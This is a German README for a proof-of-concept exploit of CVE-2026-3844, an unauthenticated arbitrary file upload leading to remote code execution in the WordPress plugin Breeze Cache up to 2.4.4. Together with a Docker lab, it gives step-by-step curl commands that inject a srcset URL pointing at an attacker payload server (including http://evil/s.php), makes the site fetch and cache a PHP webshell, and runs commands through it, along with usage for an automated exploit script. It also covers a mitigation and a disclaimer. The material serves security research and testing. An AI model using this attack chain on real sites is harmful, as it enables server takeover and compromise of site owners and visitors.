
# Proof-of-Concept-Exploit für CVE-2026-3844, einen nicht authentifizierten beliebigen Datei-Upload, der zu Remote-Code-Ausführung in Breeze Cache <= 2.4.4 führt. Enthält Docker-Lab und automatisiertes Exploit-Skript.
| Feld | Wert |
|---|
| CVE | CVE-2026-3844 |
| CVSS | 9.8 Kritisch (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-434 — Uneingeschränkter Upload von Dateien mit gefährlichem Typ |
| Plugin | Breeze Cache von Cloudways |
| Betroffen | Alle Versionen bis einschließlich 2.4.4 |
| Behoben | 2.4.5 (Changeset 3511463) |
| Installationen | 400.000+ aktive WordPress-Installationen |
| Entdeckt von | Hung Nguyen (bashu) |
| Offengelegt | 2026-04-23 |
Die Funktion fetch_gravatar_from_remote() in inc/class-breeze-cache-cronjobs.php lädt
entfernte URLs herunter und speichert sie in einem über das Web zugänglichen Verzeichnis
unter Verwendung des ursprünglichen Dateinamens und der Erweiterung aus der URL. Es gibt
keine MIME-Typ-Validierung, keine Erweiterungs-Whitelist und
keine Inhaltsprüfung.
Wenn die Einstellung „Host Files Locally - Gravatars" aktiviert ist, hängt das Plugin in den
get_avatar-Filter von WordPress über breeze_replace_gravatar_image() ein. Diese Funktion
verwendet einen regulären Ausdruck, um URLs aus srcset- und src-Attributen im Avatar-HTML
zu extrahieren. Ein Angreifer kann ein bösartiges srcset-Attribut injizieren, indem er einen
Kommentar mit einem manipulierten Autorennamen veröffentlicht, wodurch das Plugin veranlasst
wird, eine beliebige PHP-Datei herunterzuladen und zwischenzuspeichern.
Was fehlt:
.php, .phtml, .phar werden alle akzeptiert)Angreifer WordPress + Breeze 2.4.4
| |
| 1. POST /wp-comments-post.php |
| author=x srcset=http://evil/s.php |
| ------------------------------------> |
| | Kommentar gespeichert
| |
| 2. GET /?p=1 |
| ------------------------------------> |
| | get_avatar-Filter wird ausgelöst
| | breeze_replace_gravatar_image()
| | extrahiert srcset-URL per Regex
| | ruft fetch_gravatar_from_remote() auf
| |
| 3. download_url() |
| http://evil/s.php |
| <----------------------------- |
| PHP-Dateiinhalt |
| -----------------------------> |
| | Gespeichert unter:
| | wp-content/cache/breeze-extra/
| | gravatars/s.php
| |
| 4. GET /wp-content/cache/breeze-extra |
| /gravatars/s.php?cmd=id |
| ------------------------------------> |
| | PHP wird als www-data ausgeführt
| uid=33(www-data) |
| <------------------------------------ |
Dieses PoC enthält eine eigenständige Docker-Umgebung mit:
requests (pip install requests)cd docker/
docker compose up -d --build
~30 Sekunden warten, bis WordPress initialisiert ist. Überprüfen:
curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# Erwartet: Stable tag: 2.4.4
Die Docker-Einrichtung automatisiert:
breeze-store-gravatars-locally: 1)curl -X POST "http://localhost:8088/wp-comments-post.php" \
-d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"
Ersetzen Sie PAYLOAD_IP mit der IP des Payload-Containers:
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
$(docker compose -f docker/docker-compose.yml ps -q payload)
Erwartete Antwort: HTTP 302-Weiterleitung zur Beitragsseite.
Rufen Sie die Beitragsseite auf, damit WordPress den Avatar des Kommentars rendert, wodurch der
Breeze-get_avatar-Filter ausgelöst und die Payload heruntergeladen wird:
curl -s "http://localhost:8088/?p=1" > /dev/null
Das gerenderte HTML zeigt, dass Breeze das injizierte srcset extrahiert und die Payload zwischengespeichert hat:
Die PHP-Payload wird unverändert geschrieben, im Besitz von www-data:
cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php
usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
[--timeout TIMEOUT] [--wait WAIT] [--check-only]
-t, --target WordPress-Ziel-URL (erforderlich)
-p, --payload URL der hochzuladenden PHP-Payload
--post-id Spezifische Beitrags-ID für den Kommentar
--timeout HTTP-Timeout in Sekunden (Standard: 15)
--wait Sekunden auf Cron warten (Standard: 12)
--check-only Nur Plugin-Version prüfen, nicht ausnutzen
cd docker/
docker compose down -v --remove-orphans
.htaccess in wp-content/cache/breeze-extra/gravatars/ hinzu:
<FilesMatch "\.ph(p|tml|ar)$">
Require all denied
</FilesMatch>
cve-2026-3844/
README.md # Diese Datei
docker/
Dockerfile # WordPress + Breeze 2.4.4-Image
docker-compose.yml # Vollständiges Lab (WP + MariaDB + Payload-Server)
entrypoint-custom.sh # Konfiguriert WP automatisch mit verwundbaren Einstellungen
poc/
exploit.py # Automatisiertes PoC-Exploit-Skript
validate.sh # End-to-End-Docker-Validierungs-Harness
payloads/
shell.php # Harmlose PoC-Payload (echo + id)
screenshots/ # SVG-Terminal-Screenshots (Charm freeze)
validation/ # RAPTOR-Ausnutzbarkeits-Validierungsausgabe
Dieser Proof-of-Concept wird ausschließlich für autorisierte Sicherheitstests, Bildung und defensive Forschung bereitgestellt. Die unbefugte Verwendung gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal.